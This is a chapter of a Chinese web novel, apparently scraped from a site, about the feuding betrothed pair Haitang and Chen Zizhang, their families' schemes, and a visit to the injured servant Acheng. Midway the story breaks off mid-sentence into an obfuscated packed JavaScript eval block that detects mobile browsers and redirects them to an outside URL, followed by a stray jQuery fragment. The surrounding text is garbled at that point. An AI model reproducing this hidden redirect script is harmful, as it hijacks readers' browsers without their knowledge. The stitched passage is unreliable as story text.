却说这沐夫人一副慈悲心肠,却最是胆小敏感,和她这女儿天不怕地不怕的霸王性格简直是一个天上一个地下。自从前一晚海棠赌气不肯见她,自己便回房哭了半夜,哭得抽抽噎噎,第二天便称病不愿起床了。
丫鬟无奈,只得请了海棠来。海棠本来想晾一下妈妈,让她知道好歹疼一下自己,没想到她这么不经事。
“?有这么夸张吗?还起不了床了??”海棠持着汤匙在手中,正准备喝粥呢。
“真真的,大小姐,您快去看看吧!新月小姐也在呢。现在夫人躺着只是闭着眼流泪,谁的话也不听。”
海棠无语,说不得,只得自己过去看。到了地方,恰好也碰见子璋站在她妈房间的门外呢,原来沐夫人哭了半夜,哭得连陈老爷、陈夫人都给惊动了,一大早这便请人来问是怎么回事,子璋在这儿忙活着请大夫来给沐夫人瞧瞧呢。
海棠看见陈子璋就一肚子气,理都没理他,直接无视绕行之。进去看了她妈妈之后,那沐夫人果然一见女儿肯来见自己了,又“奇迹般”好起来。母女两人说了一会儿话。沐夫人无非又是一套“你要听陈家的话”之类的老调重弹,海棠看在妈妈还病着的份上也就忍着听了。
这时候子璋在门口敲了一下门框。
“阿姨,请的大夫来了。可以请他进来么?”
沐夫人将手按在女儿的手上。和蔼无比的回答:“自然可以。请先生进来吧,璋儿。”
于是子璋带着大夫进了这里屋。沐夫人连声对大夫道谢,说“辛苦”,又说感激“璋儿”关心,“还特意请了大夫来,这怎么好意思呢”。海棠看妈妈对陈子璋态度奇好,成这样子,简直是是可忍孰不可忍。
“璋儿”?这不是陈老爷陈夫人才这么称呼的吗?她妈妈对陈子璋亲热得那样子……海棠一度怀疑自己是不是也是被抱养的,眼前这人才是正经亲儿子???
“阿姨您别客气,既然您住在这里,这都是我们应当做的。我们两家的交情还分什么彼此。”子璋谦让了一下。
他说完这句,就看见海棠白了他一眼。
什么“不分彼此”?这种话是你应当说的么?真是的。
子璋没理她。
陈家的这位大夫姓林,是他们家府上雇的医生,平时有自己的医馆,陈家有了病人就过来给瞧病。林大夫给沐夫人把了一会儿脉象,便开始开方子了。说没什么大碍。
“大夫,我妈妈具体是什么病症?应该怎么治?”
海棠最关心的其实是这个。毕竟这次来到江都,另一个重要目的也是为了给她妈妈看病,听说江都汇聚天下人才,医生的本事也是全莲泽国最高的嘛。
“这个嘛,嗯……令堂这是不足之症,应当是久病多年了。需要补益元气的药物好好调养才行。”林大夫捋着胡须咿呀了半天,也没说出个所以然来。海棠看得疑窦丛生:这医生看上去没有什么医术的样子。
很快看完了病,林大夫就出来了。海棠和子璋、新月三个站在一处等这先生给家童交代开方和熬药的事宜。
“你这医生靠谱吗?”海棠悄悄问子璋。
“你这是什么问题?”
“我怎么看着他对我妈的病也说不出什么所以然来,一直在给我打迷糊。”
“这位林先生出身医学世家,族里几代都是御医,他家从好几代前就给我们陈家看病了。很是妥帖。”
海棠半信半疑望着他。“是吗?可别坑我……”
“说的什么话!”子璋有些跌下脸来。“我们陈家是那种人家吗?再说了,以我家和你家的关系,也不会半点慢待你母亲的。”
他不说这个海棠还想不起来呢,忽然脑回路就跳到他方才在她妈妈面前讲的那几句暧昧不明的话来。“你怎么回事啊?怎么当着我妈的面说那种话?”
子璋愣住了。“我说什么话了?”
“什么话?就那什么……‘我们两家还分什么彼此’啊之类之类的——你说这些干嘛?不是说……那个要齐心协力让那件事黄掉吗?”海棠两手掐了一下指头。
子璋反应了一下,才想到她说的是昨夜那句:“我们的共识是让这桩婚事黄掉”。顿时无语:
“我的大小姐,拜托,这是两码事好嘛?我的意思是我爹爹和你爹爹!……他们两个关系很好,不是吗?听说是过命的交情。你也看出我爹爹很喜欢你了。所以我才这么说的,你想到哪儿去了啊?”
海棠哼了一声,没答话。心想:“你爹爹固然喜欢我,那我妈看起来还很喜欢你呢,简直像亲儿子一样。”
她又开始担心设若她的爹爹——沐老爷见了陈子璋会是怎样?老头儿一直在镇北城杵着,还没见过他亲定的女婿呢!
要是这两个人都一股脑儿喜欢陈子璋的话……那后果可真是不敢想象。
这时候林大夫准备出发了。海棠忽然想起来阿诚也在他那医馆里呢,这可是她另一件心事,于是便主动向林大夫打听阿诚的事。
“哦,那小孩儿啊,他今天早晨已经醒了。哎呀,说起来也是命大呀,挨了那么重的打,居然挺了过来。”
“是吗?!那可太好了!”海棠眉开眼笑。她笑的时候,子璋在旁边就一直默不作声盯着她。忽然发觉她这样发自内心地笑的时候,确实很美。
就像……一种花一样。是什么花呢?他想不出来,感觉在四季如长夏的江都找不到这样的花。
看得出来她是真的为阿诚担心。
“多亏了少爷昨天送来的上好的人参,我用了好几根给他吊着,总算从阎王爷那里捡回了条命。佛祖保佑。”林大夫补充说,言罢合十虔诚的祈祷。
“原来是这样啊。”海棠看了一眼子璋。原来他也不是不关心自己的下人,那阿诚从小跟着他长大,怎么会没有感情呢?不过子璋听林大夫这么夸奖自己,也没觉得怎样,也不说话。只是那样子看起来好像觉得自己很了不起似的。
“大夫,我想去你的医馆看看阿诚,可以吗?”
“啊,这个需要少爷允准才行哟。”
海棠一听,转头又望着子璋。谁知他眨了眨眼,居然很爽快地答应了。海棠高兴得跟什么似的。
“可是你要按时回来,不要乱跑。我今天要去外事馆公干,没有空领你过去。”他叮嘱道。
“知道了。我又不是去玩的。”
“好。别忘了昨天晚上我跟你说过的话。”他交代完这一句,就转身走了。
海棠刚还在想他怎么这么大发慈悲痛快地就答应她出府,下一秒他就又哪壶不开提哪壶,把昨天晚上给她上的那些课又拿出来说了。真是会聊天的。
于是海棠便随着林先生去城中的医馆看望阿诚去了。
※※※※※
新月方才在他们两个旁边默默听着,暗自惊讶:这两个人的气氛居然已经不像刚认识时剑拔弩张了——这可不是什么好现象。这才第几天啊??她回到自己房中盘算了一会儿。
另一边,后厅陈夫人那里又热闹起来。原来刘妈妈在绘声绘色地向陈夫人描述昨夜海棠小姐在闺房中打砸物事又掌掴三个丫鬟、叫骂连天的事情了,陈夫人听了,对这海棠更加不满意。昨天晚上沐夫人哭哭啼啼了半夜,恰好他们房间离得又近,陈夫人听得一清二楚的,弄得她都没睡好觉,怪瘆人的。
“这丫头以后说什么也不能嫁到我们家来,不然岂不是要鸡犬不宁了?”她暗自想道。
正说着呢,那新月小姐忽然来给她请安了。陈夫人略觉惊讶,她对这位不起眼的沐家二小姐还不曾留意过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323818|199110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,坐下来听她柔柔弱弱说道了半天。原来是在为昨天夜里姐姐在房中打骂摔砸的事情道歉。
“夫人,实在是过意不去。姐姐她自小便是这样的性子,其实她并没有什么恶意。我们也从无人能管得了。若是对陈家的东西造成了什么损坏,我愿意出银子赔偿一二。”新月小姐挤眉弄眼歉意地笑,两眼都要拉成一条线。
陈夫人默不作声看着这个二小姐,心想:她在沐家还不如个庶女,能有什么值钱的东西去赔?今日过来只不过来向她卖个好罢了。这个心倒是让她看出来了。
陈夫人几句话打发走了她,回来就听刘妈妈说:“夫人,这沐家二小姐我瞧着倒是个性情柔顺的,很是知礼数。和那海棠大小姐比起来,不知好了多少。真正才算得上一位高门贵女的样子。”
陈夫人“嗯”了一声。“是个听话的。只是可惜她不是嫡女。”
“听说也是让沐夫人认成自己的孩子了。沐老爷并未曾纳妾呢。”
“名义上是二小姐,可究竟也不是亲生的。差了远了去了。”
“奴婢说句不该说的话,若是新月小姐和海棠小姐对调,那还算得过去。眼下这样,怎么能行?”
陈夫人闻言白了她一下。“你糊涂到哪里去了?这新月是沐老爷从临夜国抱养来的,你不知道?说起来连个庶女都不如。我子璋乃人中龙凤,娶海棠都是低就了,若不是老爷执意要结亲,我怎么肯?说起来,那也得是将军府娇容这样的孩子才成。”
刘妈妈脸一红,便不做声了。陈夫人最喜欢娇容,她不是不知道。这不是新月旁边的赵嬷嬷给她使了银子,让她在夫人面前给自己小姐多多美言吗?可没想到才说了几句就被一票否决了。
陈夫人这便开始盘算要进一步撮合子璋和娇容的事情了。所谓夜长梦多,海棠虽然跋扈得令人难以忍受,但在府中日子久了,她容貌又太美,难保子璋不会滋生情意。于是她马上着手给将军府的李夫人写信,和她商量这件事。
※※※※※
却说海棠终于随着林大夫到了医馆,见阿诚果然已经醒了。那陈夫人打得也是真狠,阿诚只能趴在病榻上见她,连礼都没法行了,身上盖着好几块白布。上面还在洇出血迹呢。阿诚见海棠亲自来看自己,又惊又喜,更加喜欢她了。
海棠按住他让他好好养伤。“没想到你这孩子对我竟然这么好,才只见了几面呀,怎么就能这样?”
阿诚嘻嘻笑了笑,只是挠着头。“小的……小的不敢说。”
海棠罕见地坐在他床边,叹道:“傻小子,这有什么不敢说的。你为了我挨了这么重的打,我感谢你还来不及呢。”
阿诚让大小姐这一顿夸,整个人轻飘飘的别提多甜蜜了。“我从第一眼见到小姐您就很喜欢。因为海棠小姐漂亮、聪明,我瞧着您和我们家少爷真的就是天生一对,所以坚决支持你们。小姐有什么只管吩咐,阿诚万死不辞。”
海棠:????简直是十万个问号突然窜出后脑勺。本来还挺高兴的,听了这句直接就晴空霹雳,沉着脸站起来:
“闹了半天你是因为这个理由???”
“啊……怎、怎么了???”
“我还以为你是真心为了我好,还想着跟陈子璋说了把你要过来,以后跟着我呢!没想到你居然!!……”
阿诚不成想自己一句真心话竟惹得海棠小姐风雷震怒,顿时吓得张口结舌,不知道说什么好了。
“我告诉你!以后你要是再敢说什么''一对两对''的这种话,你家夫人不打死你我先打死你!听到了没!”
“是是是。阿诚再也不敢了……”
又是‘天生一对’!!这个词、这个词海棠觉得自己再听到就要头风发作了。谁再说这个词她就去拿刀跟谁拼命!